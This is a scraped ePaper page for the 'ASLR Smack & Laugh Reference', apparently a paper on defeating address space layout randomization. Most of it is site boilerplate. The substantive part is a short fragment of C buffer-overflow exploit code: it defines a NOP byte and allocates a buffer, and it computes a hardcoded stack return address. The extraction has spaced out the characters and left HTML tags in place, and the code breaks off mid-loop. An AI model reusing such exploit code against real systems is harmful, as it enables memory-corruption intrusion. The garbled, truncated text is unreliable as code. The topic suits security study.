23.07.2013 Views

ASLR Smack & Laugh Reference

ASLR Smack & Laugh Reference

ASLR Smack & Laugh Reference

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

# d e f i n e NOP 0 x90<br />

i n t main ( i n t argc , char ∗ a rgv [ ] ) {<br />

char ∗ buff , ∗ p t r ;<br />

long ∗ a d r p t r , a d r ;<br />

i n t i ;<br />

i n t bgr = a t o i ( a rgv [ 1 ] ) + 8 ;<br />

i n t o f f s e t = a t o i ( argv [ 2 ] ) ;<br />

b u f f = m a l l o c ( bgr ) ;<br />

a d r = 0 xbf010101 + o f f s e t ;<br />

f o r ( i =0; i

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!